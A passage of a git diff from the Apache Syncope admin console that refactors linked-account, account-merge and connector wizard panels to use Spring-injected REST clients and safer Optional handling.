"connObjectKeyValue"; + String connObjectKeyFieldId = "connObjectKeyValue"; AjaxTextFieldPanel connObjectKeyField = new AjaxTextFieldPanel( "connObjectKeyValue", "connObjectKeyValue", @@ -157,8 +160,10 @@ private void setConnObjectFieldChoices( AtomicReference resourceRemoteKey = new AtomicReference<>(ConnIdSpecialName.NAME); try { - resourceRemoteKey.set(ResourceRestClient.read(resource).getProvision(AnyTypeKind.USER.name()).get(). - getMapping().getConnObjectKeyItem().get().getExtAttrName()); + resourceRestClient.read(resource).getProvision(AnyTypeKind.USER.name()). + flatMap(provision -> Optional.ofNullable(provision.getMapping())). + flatMap(mapping -> mapping.getConnObjectKeyItem()). + ifPresent(connObjectKeyItem -> resourceRemoteKey.set(connObjectKeyItem.getExtAttrName())); } catch (Exception ex) { LOG.error("While reading mapping for resource {}", resource, ex); } @@ -168,16 +173,16 @@ private void setConnObjectFieldChoices( builder.fiql(SyncopeClient.getConnObjectTOFiqlSearchConditionBuilder(). is(resourceRemoteKey.get()).equalTo(searchTerm + "*").query()).build(); } - Pair> items = ResourceRestClient.searchConnObjects( + Pair> items = resourceRestClient.searchConnObjects( resource, AnyTypeKind.USER.name(), builder, new SortParam<>(resourceRemoteKey.get(), true)); connObjectKeyFieldValues = items.getRight().stream(). - map(item -> item.getAttr(resourceRemoteKey.get()).get().getValues().get(0)). + map(item -> item.getAttr(resourceRemoteKey.get()).map(attr -> attr.getValues().get(0)).orElse(null)). + filter(Objects::nonNull). collect(Collectors.toList()); ajaxTextFieldPanel.setChoices(connObjectKeyFieldValues); } - } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPlainAttrsPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPlainAttrsPanel.java index 402567ee9ce..fff4551eece 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPlainAttrsPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPlainAttrsPanel.java @@ -28,7 +28,6 @@ import java.util.Set; import java.util.stream.Collectors; import org.apache.syncope.client.console.commons.LinkedAccountPlainAttrProperty; -import org.apache.syncope.client.console.rest.AnyTypeRestClient; import org.apache.syncope.client.console.wicket.markup.html.form.MultiFieldPanel; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; @@ -61,22 +60,23 @@ public class LinkedAccountPlainAttrsPanel extends AbstractAttrsWizardStep fixedAttrs = new HashSet<>(); + protected final Set fixedAttrs = new HashSet<>(); - private final List accountPlainAttrProperties = new ArrayList<>(); + protected final List accountPlainAttrProperties = new ArrayList<>(); public LinkedAccountPlainAttrsPanel( final EntityWrapper modelObject, final UserTO userTO, + final List anyTypeClasses, final List whichPlainAttrs) throws IllegalArgumentException { super(userTO, AjaxWizard.Mode.EDIT, - AnyTypeRestClient.read(userTO.getType()).getClasses(), + anyTypeClasses, whichPlainAttrs); this.linkedAccountTO = modelObject.getInnerObject(); @@ -216,13 +216,9 @@ protected List getAttrsFromTO() { } private void setFixedAttr(final Collection values) { - values.forEach(schema -> { - if (linkedAccountTO.getPlainAttr(schema.getKey()).isPresent()) { - fixedAttrs.add(linkedAccountTO.getPlainAttr(schema.getKey()).get()); - } else if (userTO.getPlainAttr(schema.getKey()).isPresent()) { - fixedAttrs.add(userTO.getPlainAttr(schema.getKey()).get()); - } - }); + values.forEach(schema -> linkedAccountTO.getPlainAttr(schema.getKey()).ifPresentOrElse( + fixedAttrs::add, + () -> userTO.getPlainAttr(schema.getKey()).ifPresent(fixedAttrs::add))); } private boolean checkIsReadonlyAttr(final String schema) { @@ -250,9 +246,9 @@ protected void populateItem(final ListItem item) { final boolean isMultivalue = schemas.get(attrTO.getSchema()).isMultivalue(); AbstractFieldPanel panel = setPanel( - schemas, - item, - linkedAccountTO.getPlainAttr(attrTO.getSchema()).isEmpty()); + schemas, + item, + linkedAccountTO.getPlainAttr(attrTO.getSchema()).isEmpty()); panel.showExternAction(checkboxToggle(attrTO, panel, isMultivalue)); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPrivilegesPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPrivilegesPanel.java index 7acd107744a..df38cf0fae2 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPrivilegesPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountPrivilegesPanel.java @@ -28,27 +28,31 @@ import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.PropertyModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class LinkedAccountPrivilegesPanel extends WizardStep { private static final long serialVersionUID = 3388483585148725922L; + @SpringBean + protected ApplicationRestClient applicationRestClient; + public LinkedAccountPrivilegesPanel(final LinkedAccountTO linkedAccountTO) { super(); setOutputMarkupId(true); - final LoadableDetachableModel> availablePrivilges = new LoadableDetachableModel<>() { + LoadableDetachableModel> availablePrivilges = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157437L; @Override protected List load() { - return ApplicationRestClient.list().stream(). - flatMap(app -> app.getPrivileges().stream()). - map(PrivilegeTO::getKey). - distinct(). - sorted(). - collect(Collectors.toList()); + return applicationRestClient.list().stream(). + flatMap(app -> app.getPrivileges().stream()). + map(PrivilegeTO::getKey). + distinct(). + sorted(). + collect(Collectors.toList()); } }; AjaxPalettePanel privilegesPanel = new AjaxPalettePanel.Builder(). diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountWizardBuilder.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountWizardBuilder.java index 705fa0f876a..9fe3fae61ab 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountWizardBuilder.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountWizardBuilder.java @@ -24,6 +24,7 @@ import java.util.stream.Collectors; import org.apache.syncope.client.console.layout.LinkedAccountForm; import org.apache.syncope.client.console.layout.LinkedAccountFormLayoutInfo; +import org.apache.syncope.client.console.rest.AnyTypeRestClient; import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal.ModalEvent; import org.apache.syncope.client.console.wizards.BaseAjaxWizardBuilder; @@ -46,19 +47,27 @@ public class LinkedAccountWizardBuilder extends BaseAjaxWizardBuilder model; + protected final IModel model; protected LinkedAccountFormLayoutInfo formLayoutInfo; + protected final UserRestClient userRestClient; + + protected final AnyTypeRestClient anyTypeRestClient; + public LinkedAccountWizardBuilder( final IModel model, final LinkedAccountFormLayoutInfo formLayoutInfo, + final UserRestClient userRestClient, + final AnyTypeRestClient anyTypeRestClient, final PageReference pageRef) { + super(new LinkedAccountTO(), pageRef); + this.model = model; this.formLayoutInfo = formLayoutInfo; + this.userRestClient = userRestClient; + this.anyTypeRestClient = anyTypeRestClient; } @Override @@ -76,7 +85,10 @@ protected WizardModel buildModelSteps(final LinkedAccountTO modelObject, final W if (formLayoutInfo.isPlainAttrs()) { wizardModel.add(new LinkedAccountPlainAttrsPanel( - new EntityWrapper<>(modelObject), model.getObject(), formLayoutInfo.getWhichPlainAttrs())); + new EntityWrapper<>(modelObject), + model.getObject(), + anyTypeRestClient.read(model.getObject().getType()).getClasses(), + formLayoutInfo.getWhichPlainAttrs())); } if (formLayoutInfo.isPrivileges()) { diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsResourcesPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsResourcesPanel.java index a5bc48ba5ec..b12a06900d6 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsResourcesPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsResourcesPanel.java @@ -24,6 +24,7 @@ import java.util.Iterator; import java.util.List; import org.apache.syncope.client.console.SyncopeWebApplication; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.IdMConstants; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.pages.BasePage; @@ -32,7 +33,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.wizards.any.MergeLinkedAccountsResourcesPanel.ResourceSelectionDirectoryPanel.ResourcesDataProvider; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.common.lib.to.ResourceTO; import org.apache.syncope.common.lib.types.IdMEntitlement; import org.apache.wicket.PageReference; @@ -47,19 +47,25 @@ import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class MergeLinkedAccountsResourcesPanel extends WizardStep implements ICondition { private static final long serialVersionUID = 1221037007528732347L; - private final MergeLinkedAccountsWizardModel wizardModel; + @SpringBean + protected ResourceRestClient resourceRestClient; + + protected final MergeLinkedAccountsWizardModel wizardModel; + + public MergeLinkedAccountsResourcesPanel( + final MergeLinkedAccountsWizardModel wizardModel, + final PageReference pageRef) { - public MergeLinkedAccountsResourcesPanel(final MergeLinkedAccountsWizardModel wizardModel, - final PageReference pageReference) { super(); setOutputMarkupId(true); this.wizardModel = wizardModel; - add(new ResourceSelectionDirectoryPanel("resources", pageReference)); + add(new ResourceSelectionDirectoryPanel("resources", resourceRestClient, pageRef)); } @Override @@ -82,8 +88,12 @@ protected class ResourceSelectionDirectoryPanel extends private static final long serialVersionUID = 6005711052393825472L; - ResourceSelectionDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef, true); + ResourceSelectionDirectoryPanel( + final String id, + final ResourceRestClient restClient, + final PageReference pageRef) { + + super(id, restClient, pageRef, true); modal.size(Modal.Size.Large); setOutputMarkupId(true); @@ -118,20 +128,20 @@ protected ActionsPanel getActions(final IModel model) { @Override public void onClick(final AjaxRequestTarget target, final ResourceTO resource) { MergeLinkedAccountsWizardModel model = MergeLinkedAccountsResourcesPanel.this.wizardModel; - String connObjectKeyValue = ResourceRestClient.getConnObjectKeyValue( - resource.getKey(), - model.getMergingUser().getType(), - model.getMergingUser().getKey()); + String connObjectKeyValue = restClient.getConnObjectKeyValue( + resource.getKey(), + model.getMergingUser().getType(), + model.getMergingUser().getKey()); if (connObjectKeyValue != null) { model.setResource(resource); String tableId = MergeLinkedAccountsResourcesPanel.this. - get("resources:container:content:searchContainer:resultTable" - + ":tablePanel:groupForm:checkgroup:dataTable"). - getMarkupId(); + get("resources:container:content:searchContainer:resultTable" + + ":tablePanel:groupForm:checkgroup:dataTable"). + getMarkupId(); String js = "$('#" + tableId + "').removeClass('active');"; js += "$('#" + tableId + " tbody tr td div').filter(function() " - + "{return $(this).text() === \"" + resource.getKey() + "\";})" - + ".parent().parent().addClass('active');"; + + "{return $(this).text() === \"" + resource.getKey() + "\";})" + + ".parent().parent().addClass('active');"; target.prependJavaScript(js); } else { @@ -162,14 +172,14 @@ private ResourcesDataProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { - List list = ResourceRestClient.list(); + List list = restClient.list(); list.sort(comparator); return list.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return ResourceRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel.java index 955ba56aab7..26d78fc0f19 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsReviewPanel.java @@ -24,6 +24,7 @@ import java.util.Iterator; import java.util.List; import java.util.stream.Collectors; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.panels.DirectoryPanel; import org.apache.syncope.client.console.rest.ResourceRestClient; @@ -31,7 +32,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wizards.any.MergeLinkedAccountsReviewPanel.LinkedAccountsReviewDirectoryPanel.LinkedAccountsDataProvider; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.common.lib.to.LinkedAccountTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.wicket.PageReference; @@ -43,17 +43,23 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class MergeLinkedAccountsReviewPanel extends WizardStep { private static final long serialVersionUID = 1221037007528732347L; - public MergeLinkedAccountsReviewPanel(final MergeLinkedAccountsWizardModel wizardModel, - final PageReference pageReference) { + @SpringBean + protected ResourceRestClient resourceRestClient; + + public MergeLinkedAccountsReviewPanel( + final MergeLinkedAccountsWizardModel wizardModel, + final PageReference pageRef) { + super(); setOutputMarkupId(true); setTitleModel(new StringResourceModel("mergeLinkedAccounts.reviewAccounts.title")); - add(new LinkedAccountsReviewDirectoryPanel("linkedAccounts", pageReference, wizardModel)); + add(new LinkedAccountsReviewDirectoryPanel("linkedAccounts", resourceRestClient, pageRef, wizardModel)); } protected static class LinkedAccountsReviewDirectoryPanel extends @@ -67,10 +73,11 @@ protected static class LinkedAccountsReviewDirectoryPanel extends LinkedAccountsReviewDirectoryPanel( final String id, + final ResourceRestClient restClient, final PageReference pageRef, final MergeLinkedAccountsWizardModel wizardModel) { - super(id, pageRef, true); + super(id, restClient, pageRef, true); this.wizardModel = wizardModel; modal.size(Modal.Size.Large); setOutputMarkupId(true); @@ -107,7 +114,7 @@ protected Collection getBatches() { return List.of(); } - private List previewAccounts() { + protected List previewAccounts() { UserTO mergingUser = wizardModel.getMergingUser(); // Move linked accounts into the target/base user as linked accounts @@ -125,13 +132,13 @@ private List previewAccounts() { // Move merging user's resources into the target/base user as a linked account accounts.addAll(mergingUser.getResources().stream().map(resource -> { - String connObjectKeyValue = ResourceRestClient.getConnObjectKeyValue(resource, + String connObjectKeyValue = restClient.getConnObjectKeyValue(resource, mergingUser.getType(), mergingUser.getKey()); return new LinkedAccountTO.Builder(resource, connObjectKeyValue).build(); }).collect(Collectors.toList())); // Move merging user into target/base user as a linked account - String connObjectKeyValue = ResourceRestClient.getConnObjectKeyValue( + String connObjectKeyValue = restClient.getConnObjectKeyValue( wizardModel.getResource().getKey(), mergingUser.getType(), mergingUser.getKey()); LinkedAccountTO linkedAccount = diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsSearchPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsSearchPanel.java index e73e5c97282..2c194b9f67c 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsSearchPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsSearchPanel.java @@ -41,22 +41,35 @@ import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class MergeLinkedAccountsSearchPanel extends WizardStep { private static final long serialVersionUID = 1221037007528732347L; - private final WebMarkupContainer ownerContainer; + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; - private final UserSearchPanel userSearchPanel; + @SpringBean + protected AnyTypeClassRestClient anyTypeClassRestClient; - private final UserSelectionDirectoryPanel userDirectoryPanel; + @SpringBean + protected UserRestClient userRestClient; - private final Fragment userSearchFragment; + protected final WebMarkupContainer ownerContainer; - private final MergeLinkedAccountsWizardModel wizardModel; + protected final UserSearchPanel userSearchPanel; + + protected final UserSelectionDirectoryPanel userDirectoryPanel; + + protected final Fragment userSearchFragment; + + protected final MergeLinkedAccountsWizardModel wizardModel; + + public MergeLinkedAccountsSearchPanel( + final MergeLinkedAccountsWizardModel model, + final PageReference pageRef) { - public MergeLinkedAccountsSearchPanel(final MergeLinkedAccountsWizardModel model, final PageReference pageRef) { super(); setOutputMarkupId(true); @@ -73,9 +86,9 @@ public MergeLinkedAccountsSearchPanel(final MergeLinkedAccountsWizardModel model build("usersearch")); userSearchFragment.add(userSearchPanel); - AnyTypeTO anyTypeTO = AnyTypeRestClient.read(AnyTypeKind.USER.name()); + AnyTypeTO anyTypeTO = anyTypeRestClient.read(AnyTypeKind.USER.name()); userDirectoryPanel = UserSelectionDirectoryPanel.class.cast(new UserSelectionDirectoryPanel.Builder( - AnyTypeClassRestClient.list(anyTypeTO.getClasses()), anyTypeTO.getKey(), pageRef). + anyTypeClassRestClient.list(anyTypeTO.getClasses()), userRestClient, anyTypeTO.getKey(), pageRef). build("searchResult")); userSearchFragment.add(userDirectoryPanel); @@ -95,7 +108,7 @@ public void onEvent(final IEvent event) { (AnySelectionDirectoryPanel.ItemSelection) event.getPayload(); AnyTO sel = payload.getSelection(); - wizardModel.setMergingUser(new UserRestClient().read(sel.getKey())); + wizardModel.setMergingUser(userRestClient.read(sel.getKey())); String tableId = ((Component) event.getSource()). get("container:content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable"). diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsWizardBuilder.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsWizardBuilder.java index fffe2596dea..50b68ca7e2b 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsWizardBuilder.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/MergeLinkedAccountsWizardBuilder.java @@ -55,23 +55,32 @@ public class MergeLinkedAccountsWizardBuilder extends BaseAjaxWizardBuilder modal; + protected final BaseModal modal; - private MergeLinkedAccountsWizardModel model; + protected MergeLinkedAccountsWizardModel model; + + protected final ResourceRestClient resourceRestClient; + + protected final UserRestClient userRestClient; public MergeLinkedAccountsWizardBuilder( final IModel model, - final PageReference pageRef, final UserDirectoryPanel parentPanel, - final BaseModal modal) { + final BaseModal modal, + final ResourceRestClient resourceRestClient, + final UserRestClient userRestClient, + final PageReference pageRef) { super(model.getObject(), pageRef); + this.parentPanel = parentPanel; this.modal = modal; + this.resourceRestClient = resourceRestClient; + this.userRestClient = userRestClient; } @Override @@ -132,8 +141,8 @@ private void mergeAccounts() throws Exception { // Move merging user's resources into the target/base user as a linked account mergingUserTO.getResources().forEach(resource -> { - String connObjectKeyValue = ResourceRestClient.getConnObjectKeyValue(resource, - mergingUserTO.getType(), mergingUserTO.getKey()); + String connObjectKeyValue = resourceRestClient.getConnObjectKeyValue( + resource, mergingUserTO.getType(), mergingUserTO.getKey()); LinkedAccountTO linkedAccount = new LinkedAccountTO.Builder(resource, connObjectKeyValue).build(); linkedAccount.getPlainAttrs().addAll(mergingUserTO.getPlainAttrs()); linkedAccount.getPrivileges().addAll(mergingUserTO.getPrivileges()); @@ -145,7 +154,7 @@ private void mergeAccounts() throws Exception { }); // Move merging user into target/base user as a linked account - String connObjectKeyValue = ResourceRestClient.getConnObjectKeyValue( + String connObjectKeyValue = resourceRestClient.getConnObjectKeyValue( model.getResource().getKey(), mergingUserTO.getType(), mergingUserTO.getKey()); LinkedAccountTO linkedAccount = new LinkedAccountTO.Builder(model.getResource().getKey(), connObjectKeyValue). @@ -182,7 +191,7 @@ private void mergeAccounts() throws Exception { updateUser.setContent(updateUserPayload); batchRequest.getItems().add(updateUser); - Map batchResponse = UserRestClient.batch(batchRequest); + Map batchResponse = userRestClient.batch(batchRequest); batchResponse.forEach((key, value) -> { if (!value.equalsIgnoreCase("success")) { throw new IllegalArgumentException("Unable to report a success operation status for " + key); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/Resources.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/Resources.java index ac1d1e131cd..db2aeec6351 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/Resources.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/Resources.java @@ -47,10 +47,10 @@ public Resources(final AnyWrapper modelObject) { public boolean evaluate() { if (SyncopeWebApplication.get().getSecuritySettings(). getAuthorizationStrategy().isActionAuthorized(this, RENDER)) { - available.setObject(SyncopeWebApplication.get().getResourceProvider().get()); + + available.setObject(SyncopeWebApplication.get().getResourceProvider().get(anyTO.getType())); return !available.getObject().isEmpty(); - } else { - return false; } + return false; } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorConfPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorConfPanel.java index 4574260c8d2..a9588bf7363 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorConfPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorConfPanel.java @@ -45,13 +45,7 @@ protected List load() { ConnectorConfPanel.this.modelObject.getConf().clear(); // re-order properties - properties.sort((o1, o2) -> { - if (o1 == null) { - return -1; - } else { - return o1.compareTo(o2); - } - }); + properties.sort((o1, o2) -> o1 == null ? -1 : o1.compareTo(o2)); ConnectorConfPanel.this.modelObject.getConf().addAll(properties); return properties; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.java index e285ed2bc98..a4931c2161a 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorDetailsPanel.java @@ -18,22 +18,20 @@ */ package org.apache.syncope.client.console.wizards.resources; -import java.util.ArrayList; import java.util.Iterator; import java.util.List; +import java.util.Optional; import java.util.stream.Collectors; -import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.client.console.SyncopeWebApplication; import org.apache.syncope.client.console.commons.RealmsUtils; -import org.apache.syncope.client.console.rest.ConnectorRestClient; import org.apache.syncope.client.console.rest.RealmRestClient; import org.apache.syncope.client.console.wicket.markup.html.form.AjaxSearchFieldPanel; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; -import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.ConnIdBundle; import org.apache.syncope.common.lib.to.ConnInstanceTO; import org.apache.syncope.common.lib.to.ConnPoolConfTO; @@ -41,22 +39,25 @@ import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.extensions.ajax.markup.html.autocomplete.AutoCompleteSettings; import org.apache.wicket.extensions.wizard.WizardStep; -import org.apache.wicket.markup.html.form.DropDownChoice; import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ConnectorDetailsPanel extends WizardStep { private static final long serialVersionUID = -2435937897614232137L; + @SpringBean + protected RealmRestClient realmRestClient; + public ConnectorDetailsPanel(final ConnInstanceTO connInstanceTO, final List bundles) { super(); setOutputMarkupId(true); - boolean isSearchEnabled = RealmsUtils.isSearchEnabled(); + boolean fullRealmsTree = SyncopeWebApplication.get().fullRealmsTree(realmRestClient); AutoCompleteSettings settings = new AutoCompleteSettings(); - settings.setShowCompleteListOnFocusGain(!isSearchEnabled); - settings.setShowListOnEmptyInput(!isSearchEnabled); + settings.setShowCompleteListOnFocusGain(fullRealmsTree); + settings.setShowListOnEmptyInput(fullRealmsTree); AjaxSearchFieldPanel realm = new AjaxSearchFieldPanel( "adminRealm", "adminRealm", new PropertyModel<>(connInstanceTO, "adminRealm"), settings) { @@ -65,90 +66,51 @@ public ConnectorDetailsPanel(final ConnInstanceTO connInstanceTO, final List getChoices(final String input) { - return (isSearchEnabled - ? RealmRestClient.search(RealmsUtils.buildQuery(input)).getResult() - : RealmRestClient.list(SyncopeConstants.ROOT_REALM)). - stream().filter(realm -> SyncopeConsoleSession.get().getAuthRealms().stream(). - anyMatch(authRealm -> realm.getFullPath().startsWith(authRealm))). + return (RealmsUtils.checkInput(input) + ? (realmRestClient.search(fullRealmsTree + ? RealmsUtils.buildBaseQuery() + : RealmsUtils.buildKeywordQuery(input)).getResult()) + : List.of()).stream(). map(RealmTO::getFullPath).collect(Collectors.toList()).iterator(); } }; add(realm.addRequiredLabel().setOutputMarkupId(true)); AjaxTextFieldPanel displayName = new AjaxTextFieldPanel( - "displayName", "displayName", new PropertyModel<>(connInstanceTO, "displayName"), false); - displayName.setOutputMarkupId(true); - displayName.addRequiredLabel(); - add(displayName); + "displayName", + "displayName", + new PropertyModel<>(connInstanceTO, "displayName"), false); + add(displayName.addRequiredLabel().setOutputMarkupId(true)); + + AjaxTextFieldPanel location = new AjaxTextFieldPanel( + "location", "location", new PropertyModel<>(connInstanceTO, "location"), false); + add(location.addRequiredLabel().setOutputMarkupId(true).setEnabled(false)); - final AjaxDropDownChoicePanel bundleName = new AjaxDropDownChoicePanel<>( + AjaxDropDownChoicePanel bundleName = new AjaxDropDownChoicePanel<>( "bundleName", "bundleName", new PropertyModel<>(connInstanceTO, "bundleName"), false); - - if (StringUtils.isNotBlank(connInstanceTO.getLocation())) { - AjaxTextFieldPanel location = new AjaxTextFieldPanel( - "location", "location", new PropertyModel<>(connInstanceTO, "location"), false); - location.addRequiredLabel(); - location.setOutputMarkupId(true); - location.setEnabled(false); - add(location); - } else { - final AjaxDropDownChoicePanel location = new AjaxDropDownChoicePanel<>( - "location", "location", new PropertyModel<>(connInstanceTO, "location"), false); - location.setChoices(new ArrayList<>(SyncopeConsoleSession.get().getPlatformInfo().getConnIdLocations())); - location.addRequiredLabel(); - location.setOutputMarkupId(true); - location.getField().setOutputMarkupId(true); - add(location); - - location.getField().add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { - - private static final long serialVersionUID = -5609231641453245929L; - - @Override - protected void onUpdate(final AjaxRequestTarget target) { - ((DropDownChoice) location.getField()).setNullValid(false); - bundleName.setEnabled(true); - - List bundles = ConnectorRestClient.getAllBundles().stream(). - filter(object -> object.getLocation().equals(connInstanceTO.getLocation())). - collect(Collectors.toList()); - - List listBundles = getBundles(connInstanceTO, bundles); - if (listBundles.size() == 1) { - connInstanceTO.setBundleName(listBundles.get(0)); - bundleName.getField().setModelObject(listBundles.get(0)); - } - bundleName.setChoices(listBundles); - - target.add(bundleName); - } - }); - } - - ((DropDownChoice) bundleName.getField()).setNullValid(true); - - List bundleNames = new ArrayList<>(); - bundles.stream(). - filter(bundle -> (!bundleNames.contains(bundle.getBundleName()))). - forEachOrdered(bundle -> bundleNames.add(bundle.getBundleName())); - - bundleName.setChoices(bundleNames); - bundleName.addRequiredLabel(); - bundleName.setOutputMarkupId(true); - bundleName.setEnabled(connInstanceTO.getKey() == null); + bundleName.setEnabled(connInstanceTO.getKey() == null || connInstanceTO.isErrored()); + bundleName.setChoices(bundles.stream().map(ConnIdBundle::getBundleName). + distinct().sorted().collect(Collectors.toList())); bundleName.getField().setOutputMarkupId(true); - add(bundleName); - - final AjaxDropDownChoicePanel version = new AjaxDropDownChoicePanel<>( + add(bundleName.addRequiredLabel().setOutputMarkupId(true)); + + AjaxDropDownChoicePanel connectorName = new AjaxDropDownChoicePanel<>( + "connectorName", + "connectorName", + new PropertyModel<>(connInstanceTO, "connectorName"), false); + connectorName.setEnabled(connInstanceTO.getBundleName() == null || connInstanceTO.isErrored()); + Optional.ofNullable(connInstanceTO.getConnectorName()).ifPresent(v -> connectorName.setChoices(List.of(v))); + connectorName.getField().setOutputMarkupId(true); + add(connectorName.addRequiredLabel().setOutputMarkupId(true)); + + AjaxDropDownChoicePanel version = new AjaxDropDownChoicePanel<>( "version", "version", new PropertyModel<>(connInstanceTO, "version"), false); - version.setChoices(getVersions(connInstanceTO, bundles)); - version.addRequiredLabel(); - version.setEnabled(connInstanceTO.getBundleName() != null); - version.setOutputMarkupId(true); + version.setEnabled(connInstanceTO.getConnectorName() == null || connInstanceTO.isErrored()); + Optional.ofNullable(connInstanceTO.getVersion()).ifPresent(v -> version.setChoices(List.of(v))); version.getField().setOutputMarkupId(true); - add(version); + add(version.addRequiredLabel().setOutputMarkupId(true)); bundleName.getField().add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { @@ -156,18 +118,54 @@ protected void onUpdate(final AjaxRequestTarget target) { @Override protected void onUpdate(final AjaxRequestTarget target) { - ((DropDownChoice) bundleName.getField()).setNullValid(false); - version.setEnabled(true); - - List versions; - if (bundles.isEmpty()) { - List bundles = ConnectorRestClient.getAllBundles().stream(). - filter(object -> 